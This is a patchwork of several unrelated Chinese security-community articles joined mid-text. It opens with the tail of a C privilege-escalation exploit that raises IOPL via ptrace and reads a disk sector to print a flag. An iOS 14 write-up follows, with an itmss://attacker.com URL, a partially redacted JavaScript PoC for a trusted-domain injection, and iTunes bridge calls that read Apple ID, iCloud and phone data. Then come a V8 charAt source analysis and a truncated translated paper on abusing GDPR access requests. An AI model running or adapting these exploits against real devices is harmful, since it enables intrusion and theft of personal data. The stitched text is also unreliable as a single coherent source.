__asm__("out %%al, %%dx" : : "a" (data), "d" (port));
}
uint16_t port_word_in (uint16_t port) {
uint16_t result;
__asm__("in %%dx, %%ax" : "=a" (result) : "d" (port));
return result;
}
#define BASE 0x1F0
void read_sectors_ATA_PIO(uint32_t target_address, uint32_t LBA, uint8_t sector_count)
{
ATA_wait_BSY();
port_byte_out(BASE + 6,0xE0 | ((LBA >>24) & 0xF) | 0x10 /* drive 2 */);
port_byte_out(BASE + 2,sector_count);
port_byte_out(BASE + 3, (uint8_t) LBA);
port_byte_out(BASE + 4, (uint8_t)(LBA >> 8));
port_byte_out(BASE + 5, (uint8_t)(LBA >> 16));
port_byte_out(BASE + 7,0x20); //Send the read command
uint16_t *target = (uint16_t*) target_address;
for (int j =0;j<sector_count;j++)
{
ATA_wait_BSY();
ATA_wait_DRQ();
for(int i=0;i<256;i++)
target[i] = port_word_in(BASE);
target+=256;
}
}
static void ATA_wait_BSY() //Wait for bsy to be 0
{
while(port_byte_in(BASE + 7)&STATUS_BSY);
}
static void ATA_wait_DRQ() //Wait fot drq to be 1
{
while(!(port_byte_in(BASE + 7)&STATUS_RDY));
}
// Actual exploit here
void raiseIOPL() {
int pid = fork();
if (pid != 0) {
int status;
pid_t g_pid = pid;
if (ptrace(PT_ATTACH, g_pid, 0, 0) == -1) {
perror("attach");
exit(-1);
}
if (waitpid(g_pid, &status, WSTOPPED | WEXITED) != g_pid || !WIFSTOPPED(status)) {
perror("waitpid");
exit(-1);
}
if (ptrace(PT_SYSCALL, g_pid, 0, 0) == -1) {
perror("syscall");
exit(-1);
}
if (waitpid(g_pid, &status, WSTOPPED | WEXITED) != g_pid || !WIFSTOPPED(status)) {
perror("waitpid");
exit(-1);
}
PtraceRegisters regs = {};
if (ptrace(PT_GETREGS, g_pid, ®s, 0) == -1) {
perror("getregs");
exit(-1);
}
regs.cs = 3;
regs.eflags |= 0x3000;
if (ptrace(PT_SETREGS, g_pid, ®s, 0) == -1) {
perror("setregs");
exit(-1);
}
if (ptrace(PT_DETACH, g_pid, 0, 0) == -1) {
perror("detach");
exit(-1);
}
exit(0);
}
sleep(2);
puts("Testing if IOPL has been raised...");
int flags = 0;
asm volatile("pushf\npop %0\n" : "=r" (flags));
if ((flags & 0x3000) == 0x3000) {
puts("Successfully raised IOPL!");
} else {
puts("Failed to raise IOPL!");
exit(-1);
}
}
int main(int, char**) {
raiseIOPL();
char data[512];
memset(data, 0, 512);
asm volatile("cli");
read_sectors_ATA_PIO((uint32_t) data, 0, 1);
asm volatile("sti");
printf("Flag: %s\n", (char*) data);
puts("Done");
return 0;
} | 社区文章 |
**作者：0xcc
原文链接：<https://mp.weixin.qq.com/s/g1kmGkp2B5QyQEUhdXOG8Q>**
早上终于完成了 BlackHat USA
的演讲，可以公布细节了。由于排版和时间等关系，公众号的中文版会略过一些细节，可以查看英文版的[幻灯片](https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Hack-Different-Pwning-IOS-14-With-Generation-Z-Bug.pdf
"幻灯片")和[白皮书](https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Hack-Different-Pwning-IOS-14-With-Generation-Z-Bug-wp.pdf "白皮书")。
自从 iPhone Xs 使用了 A12 芯片正式加入了 PAC，包括老牌的 Pwn2Own 在内的各种 0day 竞赛上就没有出现过成功的挑战，直到
2020 年的天府杯。当时的蚂蚁安全和 360 政企安全分别用两套完全不同的方案实现了远程攻击，在搭载了 iOS 14.2 的系统上通过 Safari
浏览器作为入口，绕过浏览器沙箱执行任意代码并窃取敏感信息。
绝大多数的 full chain exploit 都是先获取沙箱内任意代码执行，再逃逸沙箱；本文用到链条非常特殊，先绕过沙箱向一个系统自带 App 注入任意
javascript 代码，然后直接在 app 中获取完全的 shellcode 执行，也就是和 App 同等的权限，可以访问 Apple
ID、通讯录、摄像头等敏感的信息。
更为有意思的是，在这个 js 环境中，不仅兼容已有的任何一个 WebKit 漏洞利用（无论是否是 JIT
类型的漏洞），还额外引入了攻击面。靠着额外的攻击面结合多个系统安全机制的绕过，最终可以实现任意代码执行。
第一个漏洞非常有意思，本质上是一个客户端的 XSS。但要找到这个 XSS，不仅 fuzz
行不通，哪怕是代码审计也得看二进制代码，也就是要求同时具备逆向工程和 web 漏洞的背景知识。光是反编译 dyld_shared_cache
就能劝退一大批人了。
输入向量是大家熟悉的 URL scheme。URL scheme 可以从浏览器跳转到本地 app，在跳转前会提示用户。但 iOS
在代码里硬编码了一个信任名单，可以免确认跳转：
这就给漏洞的利用带来了很大便利。
早在 2014 年就有韩国黑客 lokihardt 在 Pwn2Own 上用过这个攻击面，通过一个特殊的 URL 在本地 app 打开了任意网址，结合另一个
WebKit 的 Use-After-Free 漏洞即可在沙箱外运行任意代码。第一步的逃逸很简单：
itmss://attacker.com
当时并没有限制域名，直接给一个 URL 就能打开。这个问题就是CVE-2014-8840。
之后 iOS 加入了域名白名单。每次启动 iTunes Store 时都会拉取一个 XML 配置文件，只有后缀满足其中 trustedDomains
列表才会打开。然而紧接着又被打了一次，因为 lokihardt 找了个信任域名的 DOM xss。
友情提示，相关域名的 xss 可以结合 app 的特性实现效果最大化
一开始准备时也没想到真要搞 iOS。当时同事搞定了一个 iOS 和 mac 通用的 WebKit 读写利用（WebAudio 组件，后来用在 macOS
的项目上，已经在 BlackHat 上公开细节），需要过沙箱，我就想起这个免确认跳转逃逸的点：
然而测试发现 mac 上的应用已经换上了 WKWebView，意味着即使跳转过去任意代码执行，权限和 Safari 的无异。又把手伸向了 iOS。
[全局开启 iOS / mac 的 WebView
调试](http://mp.weixin.qq.com/s?__biz=Mzk0NDE3MTkzNQ==&mid=2247483775&idx=1&sn=dfa5cf10a82521cf6502810c04cca6c3&chksm=c329ff8ff45e7699f3a916389ebea225fee84e3618e7723f0aab4e7fa87a9ed41ab029b5e187&scene=21#wechat_redirect)
之前发的全局调试工具起到了很大用处。随手在控制台里测试了一些代码，当天就找到了一个 UAF。开始逆向各种代码，又发现 WebView
里隐藏的各种强大的接口，可以直接弹计算器。最后考虑效果最佳化，还是完全使用 iTunes 的漏洞完成了 iOS 的项目利用。
一开始我的思路放在信任域的 XSS 上，还想复制一遍之前 24 小时光靠手工查看源文件弄一个 DOM XSS
的事迹，但这次运气并不好，上了被动扫描器看了几天也没进展。又掏出 IDA 在漫天的代码里看，终于在这几个方法里发现了彩蛋。
* -[SUStoreController handleApplicationURL:]
* -[NSURL storeURLType]
* -[SUStoreController _handleAccountURL:]
* -[SKUIURL initWithURL:]
iTunes Store 本地有一个逻辑，当 querystring 出现特殊的参数时，URL 的 hostname
就会被忽略掉，而是直接取出参数里的第二个 url，在一个浮层里加载：
itms://<马赛克>&url=http://www.apple.com
在这里 URL 仍然具有域名信任检查，但已不要求使用 https，可以中间人了。让人不解的是，在反编译代码里发现了一段神奇的逻辑。当参数是一个 data
URI 时，同样认为这是一个受信任的域。
我们都知道 data URI 可以直接插入任意 html，所以这个点就变成了一个反射型 XSS，还是必须要逆向才能找到的 XSS。
程序还有一个逻辑是会尝试对 querystring 的参数重新赋值，最终的 data URI 永远会被贴上一个额外的问号字符。如果使用 base64
编码，payload 就会被破坏掉；而 text/plain 不受影响，只是会在 body 结尾多出来一个字符而已。
String.prototype.toDataURI = function() {
return 'data:text/html;,' + encodeURIComponent(this).replace(/[!'()*]/g, escape);
}
function payload() {
iTunes.alert('gotcha'); // do ya thing
}
const data = `<script type="application/javascript">(${payload})()<\/script>`.toDataURI()
const url = new URL('itms://<redacted>');
// part of the PoC is redacted to prevent abuse
url.searchParams.set('url', data);
location = url
因此通过以上简单的参数构造，就可以生成这样的一个特殊的 itms URL，能从 Safari 直接跳转到本地应用并执行任意 js。
由于漏洞从 iOS 3 引入，直到 iOS 14.4 才被修复，影响范围过于夸张，以上提供的 PoC 并不是完整的。一些关键参数已被删除。
在 iOS 14 上，这个 iTunes 具有 dynamic-codesigning 权限。有一些 iOS 程序员会误认为只有 WKWebView
才能使用 just-in-time 优化，但是实际上这只跟 JavaScriptCore 当前所在进程是否有特殊的 entitlement 来控制。
这样一来这个 XSS 之后进入了一个特殊的环境。渲染的控件叫 SUWebView，是过时的 UIWebView
的子类，没有独立的渲染器进程。然而这个环境允许 JIT，所以有机会加载任意 shellcode。任意一个有效的 WebKit 的漏洞都可以在这个
WebView 被利用。
除此之外，SUWebView 本身用的 JavaScript bridge 引入了新的攻击面，至少在这一步可以直接用 js 获取相当多的信息。
SUWebView 使用的是过时的 WebScripting API，将 SUScriptInterface 类的方法导出到 js 上下文中。这些 API
被放在全局作用域的 iTunes 命名空间里。
* iTunes.systemVersion() 获取系统版本号
* iTunes.primaryAccount?.identifier 获取 App Store 账号的邮箱
* iTunes.primaryiCloudAccount?.identifier 获取 iCloud 账号的邮箱
* iTunes.diskSpaceAvailable() 存储可用空间
* iTunes.telephony 电话号码、运营商等信息
* iTunes.installedSoftwareApplications 所有已安装的 app 信息
另外从这个 WebView 向任意域名发起 HTTP 请求，都会带上额外的 AppStore 认证信息，包括 icloud-dsid, x-mme-client-info, x-apple-adsid, x-apple-i-md-m, x-apple-i-md 等。
下面到了喜闻乐见的弹计算器时间：
const app = iTunes.softwareApplicationWithBundleID_('com.apple.calculator')app.launchWithURL_options_suspended_('calc://1337', {}, false);
就是这么简单……
这个漏洞可以通过 iMessage 直接发送特殊的链接一次点击触发，还能 AirDrop 给陌生人。只用一个 AirDrop
就可以百分百稳定拿到对方的手机号（约等于微信号了），然后顺带恶趣味弹一下计算器，还是有些可怕。
当然天府杯的漏洞自然不会止步于此，现场演示的弹计算器和读通讯录是用 shellcode 实现的。接下的文章将披露另一个漏洞，以及如何结合
Objective-C 特性并绕过 PAC 和 APRR 执行任意代码。敬请关注。
* * * | 社区文章 |
# 《Chrome V8 源码》35. String.prototype.CharAt 源码分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 1 介绍
本文先讲解 String.prototype.CharAt 源码以及相关数据结构，再通过测试用例演示 String.prototype.CharAt
的调用、加载和执行过程。
**注意** （1）Sea of Nodes 是本文的先导知识，请参考 Cliff 1993年发表的论文 From Quads to
Graphs。（2）本文所用环境为：V8 7.9、win10 x64、VS2019。
本文的测试用例如下：
1. var s = "hello V8";
2. var c = s.charAt(2);
3. console.log(c);
## 2 CharAt 源码
String.prototype.CharAt 由 TF_Bultin 实现，编号是 885。String.prototype.CharAt
源码中使用了TF_BUILTIN宏模板，宏模板展开后的源码如下：
1. class StringPrototypeCharAtAssembler : public CodeStubAssembler {
2. public:
3. using Descriptor = Builtin_StringPrototypeCharAt_InterfaceDescriptor;
4. explicit StringPrototypeCharAtAssembler(compiler::CodeAssemblerState* state)
5. : CodeStubAssembler(state) {}
6. void GenerateStringPrototypeCharAtImpl();
7. Node* Parameter(Descriptor::ParameterIndices index) {/*省略*/ }
8. };
9. void Builtins::Generate_StringPrototypeCharAt(compiler::CodeAssemblerState* state) {
10. StringPrototypeCharAtAssembler assembler(state);
11. //省略.....
12. assembler.GenerateStringPrototypeCharAtImpl();
13. }
14. void StringPrototypeCharAtAssembler::GenerateStringPrototypeCharAtImpl(){
15. //省略.....
16. if (block0.is_used()) {
17. compiler::TNode<Context> tmp0;
18. compiler::TNode<Object> tmp1;
19. compiler::TNode<Object> tmp2;
20. ca_.Bind(&block0, &tmp0, &tmp1, &tmp2);
21. ca_.SetSourcePosition("../../../src/builtins/string.tq", 77);
22. compiler::TypedCodeAssemblerVariable<String> result_0_0(&ca_);
23. compiler::TypedCodeAssemblerVariable<IntPtrT> result_0_1(&ca_);
24. compiler::TypedCodeAssemblerVariable<IntPtrT> result_0_2(&ca_);
25. compiler::CodeAssemblerLabel label0(&ca_);
26. compiler::CodeAssemblerLabel label1(&ca_);
27. GenerateStringAt_336(state_, compiler::TNode<Context>{tmp0}, compiler::TNode<Object>{tmp1}, compiler::TNode<Object>{tmp2}, "String.prototype.charAt", &label0, &result_0_0, &result_0_1, &result_0_2, &label1);
28. if (label0.is_used()) {
29. ca_.Bind(&label0);
30. ca_.Goto(&block5, tmp0, tmp1, tmp2, tmp1, tmp2, result_0_0.value(), result_0_1.value(), result_0_2.value());
31. } }
32. if (block5.is_used()) {
33. //省略.....
34. ca_.Bind(&block5, &tmp3, &tmp4, &tmp5, &tmp6, &tmp7, &tmp8, &tmp9, &tmp10);
35. ca_.Goto(&block4, tmp3, tmp4, tmp5, tmp8, tmp9, tmp10);
36. }
37. if (block4.is_used()) {
38. //省略.....
39. ca_.Bind(&block4, &tmp16, &tmp17, &tmp18, &tmp19, &tmp20, &tmp21);
40. ca_.SetSourcePosition("../../../src/builtins/string.tq", 81);
41. compiler::TNode<Int32T> tmp22;
42. USE(tmp22);
43. tmp22 = CodeStubAssembler(state_).StringCharCodeAt(compiler::TNode<String>{tmp19}, compiler::TNode<IntPtrT>{tmp20});
44. ca_.SetSourcePosition("../../../src/builtins/string.tq", 82);
45. compiler::TNode<String> tmp23;
46. USE(tmp23);
47. tmp23 = CodeStubAssembler(state_).StringFromSingleCharCode(compiler::TNode<Int32T>{tmp22});
48. CodeStubAssembler(state_).Return(tmp23);
49. }}
编译 String.prototype.CharAt 时，先调用 Builtins::Generate _StringPrototypeCharAt()
方法（第 9 行）生成中间结果，然后 compiler::CodeAssembler::GenerateCode()
方法再将中间结果编译成二进制代码并存储在 butiltin_ 数组中。
StringPrototypeCharAtAssembler::GenerateStringPrototypeCharAtImpl() （第 14
行）的关键功能如下：
**（1）** 第 18 行代码 tmp1 代表测试用例中的字符串 “hello V8”；
**（2）** 第 19 行代码 tmp2 代表测试用例中的 position， position 的值为 2；
**（3）** 第 27 行代码 GenerateStringAt_336() 判断 tmp1 的类型是否为 string 且 tmp2 是否小于
tmp1 的长度，判断结果为真则执行 32 行代码；
**（4）** 第 34-35 行代码绑定参数，跳转到第 37 行；
**（5）** 第 40-43 行代码调用 StringCharCodeAt() 获取指定位置的字符（tmp2）并存储在 tmp22 中。使用
StringFromSingleCharCode() 方法把 tmp22 转换为最终结果，并在第 48 行返回此结果。至此，CharAt 执行完毕。
下面说明 GenerateStringPrototypeCharAtImpl 用到的几个重要方法。
**（1）** GenerateStringAt_336() 判断字符串的类型和参数的长度是否正确，源码如下：
1. void GenerateStringAt_336(/*省略*/) {
2. ca_.Goto(&block0, p_context, p_receiver, p_position);
3. //省略........
4. if (block0.is_used()) {
5. ca_.Bind(&block0, &tmp0, &tmp1, &tmp2);
6. compiler::TNode<String> tmp4;
7. USE(tmp4);
8. tmp4 = CodeStubAssembler(state_).ToThisString(compiler::TNode<Context>{tmp0}, compiler::TNode<Object>{tmp1}, compiler::TNode<String>{tmp3});
9. ca_.SetSourcePosition("../../../src/builtins/string.tq", 65);
10. compiler::TNode<Number> tmp5;
11. USE(tmp5);
12. tmp5 = CodeStubAssembler(state_).ToInteger_Inline(compiler::TNode<Context>{tmp0}, compiler::TNode<Object>{tmp2}, CodeStubAssembler::ToIntegerTruncationMode::kTruncateMinusZero);
13. ca_.SetSourcePosition("../../../src/builtins/string.tq", 64);
14. ca_.SetSourcePosition("../../../src/builtins/string.tq", 66);
15. compiler::TNode<BoolT> tmp6;
16. USE(tmp6);
17. tmp6 = CodeStubAssembler(state_).TaggedIsNotSmi(compiler::TNode<Object>{tmp5});
18. ca_.Branch(tmp6, &block3, &block4, tmp0, tmp1, tmp2, tmp4, tmp5);
19. }//省略........
20. if (block4.is_used()) {
21. //省略...........
22. ca_.Branch(tmp22, &block5, &block6, tmp12, tmp13, tmp14, tmp15, tmp16, tmp18, tmp19);
23. }
24. if (block6.is_used()) {ca_.Goto(&block1, tmp33, tmp35, tmp36);}
25. if (block1.is_used()) {ca_.Goto(label_IfInBounds);}
26. if (block2.is_used()) {
27. ca_.Bind(&block2);
28. ca_.Goto(label_IfOutOfBounds);} }
上述代码中，第 8 行 把 this（测试用例中的字符串）的类型转换为字符串；
第 9-12 行代码判断 position 的长度（测试用例中的 2）是否需要截断；
第 17 行代码判断 position 的长度是否符合规定，判断结果存储在 tmp6 中；
第 18 行代码会根据 tmp6 的结果进行跳转，若结果为真则跳转到 block4；
第 21 行代码判断 position 是否小于字符串的长度，小于代表 CharAt() 操作没有越界（InBound），否则代表
OutBound，OutBound 意味着最终的结果为空。
**（2）** StringCharCodeAt() 定义在类 CodeStubAssembler 中，源码如下：
1. TNode<Int32T> CodeStubAssembler::StringCharCodeAt(SloppyTNode<String> string,
2. SloppyTNode<IntPtrT> index) {
3. CSA_ASSERT(this, IsString(string));
4. CSA_ASSERT(this, IntPtrGreaterThanOrEqual(index, IntPtrConstant(0)));
5. CSA_ASSERT(this, IntPtrLessThan(index, LoadStringLengthAsWord(string)));
6. TVARIABLE(Int32T, var_result);
7. Label return_result(this), if_runtime(this, Label::kDeferred),
8. if_stringistwobyte(this), if_stringisonebyte(this);
9. ToDirectStringAssembler to_direct(state(), string);
10. to_direct.TryToDirect(&if_runtime);
11. TNode<IntPtrT> const offset = IntPtrAdd(index, to_direct.offset());
12. TNode<Int32T> const instance_type = to_direct.instance_type();
13. TNode<RawPtrT> const string_data = to_direct.PointerToData(&if_runtime);
14. // Check if the {string} is a TwoByteSeqString or a OneByteSeqString.
15. Branch(IsOneByteStringInstanceType(instance_type), &if_stringisonebyte,
16. &if_stringistwobyte);
17. BIND(&if_stringisonebyte);
18. {
19. var_result =
20. UncheckedCast<Int32T>(Load(MachineType::Uint8(), string_data, offset));
21. Goto(&return_result);
22. }
23. BIND(&if_stringistwobyte);
24. {
25. var_result =
26. UncheckedCast<Int32T>(Load(MachineType::Uint16(), string_data,
27. WordShl(offset, IntPtrConstant(1))));
28. Goto(&return_result);
29. }
30. BIND(&if_runtime);
31. {
32. TNode<Object> result = CallRuntime(
33. Runtime::kStringCharCodeAt, NoContextConstant(), string, SmiTag(index));
34. var_result = SmiToInt32(CAST(result));
35. Goto(&return_result);
36. }
37. BIND(&return_result);
38. return var_result.value();
39. }
上述代码中，第 2-5 行判断字符串类型是否正确、index 是否大于等于零且小于字符串长度；
第 6 行代码申请 Int32 类型的变量 var_result，用于存储返回值；
第 7 行代码申请四个标签变量，将来该变量会配合 Branch 完成函数跳转；
第 10 行代码 to_direct.TryToDirect(&if_runtime) 的作用是将 flat、thin 或 slice 类型的
indirect string 转换成 direct string。若转换失败则跳转到第 30 行代码，使用 runtime 处理字符串；若转换成功则返回到
string_data;
第 15 行代码判断字符串类型是单字节还是双字节；
第 19 行代码使用单字节方式从 string_data 的偏移位置读取字节并存储到 var_result 中；
第 25 行代码使用双字节方式从 string_data 的偏移位置读取字节并存储到 var_result中；
第 32 行代码使用 runtime 方式实现 StringChartAt 功能，后续文章另做讲解。
**（3）** StringFromSingleCharCode() 定义在 CodeStubAssembler 中，作用是把 Int 数值转换为字符串。
## 3 CharAt 测试
测试代码的字节码如下：
1. //分隔线............//省略了部分字节码
2. 8 S> 0000012A281C2B26 @ 16 : 12 01 LdaConstant [1]
3. 8 E> 0000012A281C2B28 @ 18 : 15 02 04 StaGlobal [2], [4]
4. 29 S> 0000012A281C2B2B @ 21 : 13 02 00 LdaGlobal [2], [0]
5. 0000012A281C2B2E @ 24 : 26 f9 Star r2
6. 31 E> 0000012A281C2B30 @ 26 : 29 f9 03 LdaNamedPropertyNoFeedback r2, [3]
7. 0000012A281C2B33 @ 29 : 26 fa Star r1
8. 0000012A281C2B35 @ 31 : 0c 02 LdaSmi [2]
9. 0000012A281C2B37 @ 33 : 26 f8 Star r3
10. 31 E> 0000012A281C2B39 @ 35 : 5f fa f9 02 CallNoFeedback r1, r2-r3
11. 29 E> 0000012A281C2B3D @ 39 : 15 04 06 StaGlobal [4], [6]
12. 43 S> 0000012A281C2B40 @ 42 : 13 05 08 LdaGlobal [5], [8]
13. 0000012A281C2B43 @ 45 : 26 f9 Star r2
14. 51 E> 0000012A281C2B45 @ 47 : 29 f9 06 LdaNamedPropertyNoFeedback r2, [6]
15. 0000012A281C2B48 @ 50 : 26 fa Star r1
16. 55 E> 0000012A281C2B4A @ 52 : 13 04 02 LdaGlobal [4], [2]
17. 0000012A281C2B4D @ 55 : 26 f8 Star r3
18. 51 E> 0000012A281C2B4F @ 57 : 5f fa f9 02 CallNoFeedback r1, r2-r3
19. 0000012A281C2B53 @ 61 : 26 fb Star r0
20. 58 S> 0000012A281C2B55 @ 63 : ab Return
21. Constant pool (size = 7)
22. 0000012A281C2A99: [FixedArray] in OldSpace
23. - map: 0x0148906c0169 <Map>
24. - length: 7
25. 0: 0x012a281c2a39 <FixedArray[8]>
26. 1: 0x012a281c2999 <String[#8]: hello V8>
27. 2: 0x012a281c2981 <String[#1]: s>
28. 3: 0x00024f52ad19 <String[#6]: charAt>
29. 4: 0x00024f53e069 <String[#1]: c>
30. 5: 0x00024f533699 <String[#7]: console>
31. 6: 0x00024f532cd9 <String[#3]: log>
上述代码中，第 2 行代码把常量 hello v8 加载到累加寄存器；第 3-5 行代码存储并读取常量 hello v8 ，该常量最终被存储到 r2
寄存器中；第 6 行代码加载 String.prototype.CharAt()，第 10 行代码调用 String.prototype.CharAt；第
25-31 行是常量池，用于存储运行期间需要使用的常量。
调试字节码 CallNoFeedback 的执行可以看到 String.prototype.CharAt 的执行过程。调试方法为：设置
FLAG_trace_ignition = true；在 Runtime_InterpreterTraceBytecodeEntry 中设置断点；在图 1
中的 “CallNoFeedback r1, r2-r3” 位置使用汇编进行调试。
**技术总结**
**（1）** 编译 String.prototype.CharAt 生成的二进制代码（code）存放在 builtin_ 数组中，解释执行
JavaScript 源码时会使用 code，而不是使用本文所讲的 StringCharAt 的源码;
**（2）** V8 中字符串细分为单字节、双字节、flat 等类型；
**（3）** indirect 类型的字符串只能使用 runtime 处理，先用 to_direct.TryToDirect() 判断字符串类型可以省去
runtime 不必要的操作；
**（4）** String.prototype.CharAt 的工作流程是：判断字符串类型和位置是否正确、判断位置是否越界、直接字符串采用
Builtin 方式处理、间接字符串采用 runtime 方式处理。
好了，今天到这里，下次见。
**个人能力有限，有不足与纰漏，欢迎批评指正**
**微信：qq9123013 备注：v8交流 邮箱：[[email protected]](mailto:[email protected])** | 社区文章 |
# GDPArrrrr：利用隐私法规的漏洞窃取用户身份
|
##### 译文声明
本文是翻译文章，文章原作者 James Pavur and Casey Knerr，文章来源：arxiv.org
原文地址：<https://arxiv.org/abs/1912.00731v1>
译文仅供参考，具体内容表达以及含义原文为准。
欧盟的通用数据保护条例 (GDPR)
已成为现代隐私法律的试金石，部分原因是它赋予消费者前所未有的对其个人信息使用的控制权。然而，同样的权力可能容易被恶意攻击者滥用。在本文中考虑了社会工程师如何滥用围绕“访问权”（Right
of Access）过程的法律歧义。这一假设通过对 150
多家企业的对抗性案例研究进行了验证。发现许多组织未能采取足够的保护措施来防止滥用访问权，从而有可能将敏感信息暴露给未经授权的第三方。这些信息的敏感性各不相同，从简单的公共记录到社会安全号码和帐户密码。这些发现表明，迫切需要改进主体访问请求流程的实施。为此本文提出可能的补救措施，以供政府、行业和个人进一步考虑。
## 0x01 Introduction
通用数据保护条例 (GDPR) 代表了欧洲居民控制、限制和理解其个人信息使用方式的巨大变化。作为迄今为止最重要的数据安全监管尝试，GDPR
的已经促使数以百万计的组织反思甚至修改了他们的网络安全和数据收集实践。GDPR
的一个特别显着的特点是，它赋予个人消费者作为防止数据滥用的第一道防线的权力。根据 GDPR，欧洲居民有权要求、审查、修改和删除组织存储的有关他们的个人信息。
在本文中考虑了这项权利的实际实施，特别关注防止滥用其窃取第三方敏感信息的机制。研究者发现 GDPR
本身几乎没有提供关于最佳实践的指导，更广泛地说，很少有人关注出于数据窃取目的而滥用请求的可能性。这个缺陷是通过真实世界的实验来确定的，其中模拟的欺诈性
GDPR 请求被发送到 150
多个组织。实验结果表明，许多组织未能充分验证访问请求权的原始身份。结果是，社会工程师可以滥用访问权请求作为获取有关个人的深度敏感信息的可扩展攻击。本文提出了几种缓解措施，可能有助于在
GDPR 的背景和新兴下一代隐私法的背景下纠正这种情况。
## 0x02 Background and Motivation
GDPR 于 2018 年 5 月 25
日生效，取代了数十年的欧洲隐私立法。该法律概述了对处理个人数据的组织的新要求，包括对不符合规定的严重罚款。最严重的违法行为可能会被处以高达 2000
万美元或公司年收入 4% 的罚款——以较高者为准（Ch. 8, Art.
83）。违法的公司已经开始感受到这些后果。例如，Google因处理广告中的个人数据而被法国国家信息与自由委员会 (CNIL, Commission
nationale de l’informatique et des libertés) 罚款 5000 万美元。此外，Marriott
International 和 British Airways 因违规导致客户数据泄露而被英国信息专员办公室 (ICO, Information
Commissioner’s Offifice) 分别罚款超过 9900 万和 1.83
亿美元。然而，一些调查表明许多小企业主仍然不确定他们是否完全遵守法律。GDPR 的一个基本组成部分是对个人数据的“访问权”（Ch. 3, Sec.
2）。为了行使这项权利，欧盟居民可以向几乎任何组织发送主体访问请求 (SARs, subject access requests)。然后允许 SAR
的接收者在一个月内做出回应，最好是提供组织持有的发送者的所有个人数据的副本。
根据 GPDR 的文本，允许组织采用“所有合理措施来验证请求访问的数据主体的身份”（Rec.
64）。由于更具体的细节不容易获得，组织可能倾向于根据具体情况来解释这一要求。此外，该法律规定，组织不得仅出于验证身份以响应未来SAR
的目的收集数据（Rec. 64）。这严重限制了可行的身份验证措施的范围 – 特别是对于没有直接消费者交互的数据经纪人和其他组织。
未免除 GDPR 要求的组织只能出于以下两个原因之一拒绝遵守 SAR（Ch. 3, Art. 12）。如果 SAR
在频率上被视为“过度”，则满足第一个拒绝条件。这适用于在很短的时间内发送相同或类似 SAR 的个人。如果 SAR
被视为“明显没有根据”，则满足第二个拒绝条件。英国 ICO 在其Guide to the GDPR（<https://ico.org.uk/for-organisations/guide-to-data-protection/guide-to-the-general-data-protection-regulation-gdpr/individual-rights/right-of-access/> ）中列出了此条件可能适用于 SAR
的六个示例原因。这些原因包括将 GDPR 请求用作勒索的组成部分、骚扰或破坏组织、识别特定员工或浪费组织资源。
“明显毫无根据”一词与欺诈威胁之间没有直接联系。此外，举证责任似乎落在了组织身上，英国 ICO 表示组织“有责任证明 [the request]
显然没有根据”。这些原因与发送方的恶意有关，但没有直接讨论欺诈的可能性——而是关注滥用 GDPR 请求浪费组织资源。
出于上述原因之一拒绝遵守 SAR 的组织仍需向发送方提供拒绝理由。根据英国
ICO，回应还应提醒发件人他们有权向监管机构投诉或针对拒绝组织寻求法律行动。因此，即使是出于有效目的，不提供响应 SAR
的数据也是相当危险的。对于担心收到巨额罚款或损害其声誉的组织来说，遵守可能无效的请求可能比冒着挑战合法请求的风险要小。
上述工作可能会使组织容易受到社会工程攻击，这些攻击会影响 SAR
过程。通常，熟练的社会工程师会试图制造一种人为的紧迫感或恐惧感，迫使受害者泄露敏感信息。然而，在 GDPR
下，时间压力和罚款威胁已经作为监管的自然效果而存在。此外，由于 GDPR 为获取敏感数据的访问权限提供了明确的机制，因此除了简单地引用 GDPR
权利之外，攻击者无需为初始信息请求发明复杂的借口。简而言之，访问过程的权利在直觉上似乎很适合被社会工程师滥用，而 GDPR
中围绕身份验证和请求拒绝理由的模糊性进一步支持了这种可能性。
## 0x03 Experimental Design
实验的目的是确定一个不熟练的攻击者是否可能通过恶意的主体访问请求获取有关个人的敏感个人信息。这篇论文的第二作者同意在实验中扮演“受害者”的角色。在她没有直接参与或互动的情况下，以她的名义向
150
多个组织提交了主体访问请求。当组织要求额外的信息来完成这些请求时，攻击者认为只有一小部分公开可用的数据可用。组织的最终回应以及他们提供的任何个人数据都被记录和分析，以提供对
GDPR
访问权实践的广泛概述。这个实验是作为对现状的粗略评估而设计的。只有一个目标，并且攻击者知道一个目标，可能会在调查结果中引入一些偏见。虽然已努力减少这些实验偏差，但未来对几个不同的匿名受害者的研究将代表对这一初步调查的方法论改进。
### 1) 威胁模型
威胁模型试图重现高度受限的攻击者的能力。通常，对攻击者的约束可以分为两大类：知识约束和操作约束。
#### A. 知识约束
强加给攻击者的知识限制围绕着受害者的信息，攻击者被允许将这些信息合并到他们的社会工程攻击中。具体来说，攻击者被认为除了从知情猜测和开源情报 (OSINT,
open-source intelligence) 得出的关于目标的基本公共信息之外一无所知。这些信息总结在下表中。 OSINT
限制确保模拟的攻击者代表了最弱的攻击形式。进一步研究更有针对性或知情的攻击者（例如偷了某人钱包的攻击者）的能力可能会证明是有价值的。
随着攻击的进行，攻击者被允许使用他们发现的有关受害者的任何信息来补充这个 OSINT
知识库。因此，例如，如果目标组织向攻击者提供了受害者的家庭地址，则允许攻击者在未来的请求中包含该家庭地址。
#### B. 操作约束
攻击者的操作限制围绕着攻击者在管理请求中可以采取的行动。同样，试图重现攻击的弱形式，为研究更有能力的攻击者留下开放的机会。具体来说，邮件发送者被认为除了发送电子邮件和伪造简单的文件（例如邮戳信封）之外，无能为力。本实验未评估其他功能，例如伪造签名和身份证明文件的能力，或电子邮件标题欺骗的能力。
此外，出于法律方面的考虑，没有为实验创建伪造文件，而是以复制攻击者能力的方式提交合法文件（例如，掩盖了所有帐户信息的真实银行对账单）
。预计未来复制更复杂的攻击者的工作——无论是通过技术手段（例如电子邮件帐户劫持或欺骗）还是通过物理手段（例如护照伪造）——可能会比这种基线威胁模型的成功率高得多.
### 2) 实施
攻击的主要目标之一是开发一种大规模的社会工程机制。通过针对大量组织，即使其中只有少数被证明易受攻击，也可能足以满足攻击者的目的。因此，设计了一份通用的、故意含糊不清的
GDPR 主体访问请求函，它几乎适用于任何可以想象的组织，但仍然看起来是合法的。然后这封信被模板化并使用一个简单的 python 邮件程序脚本发送到 150
多个组织。
#### A. SAR 设计
在本节中将指出这封邮件的细节，这些方面的设计明确目标是增加攻击成功的可能性。主体访问请求信的全文如下：
针对社会工程师的 GDPR 流程的主要好处之一是法律强加给组织发布回应的严格的时间压力。鉴于组织通常只有一个日历月来响应任何给定的 GDPR
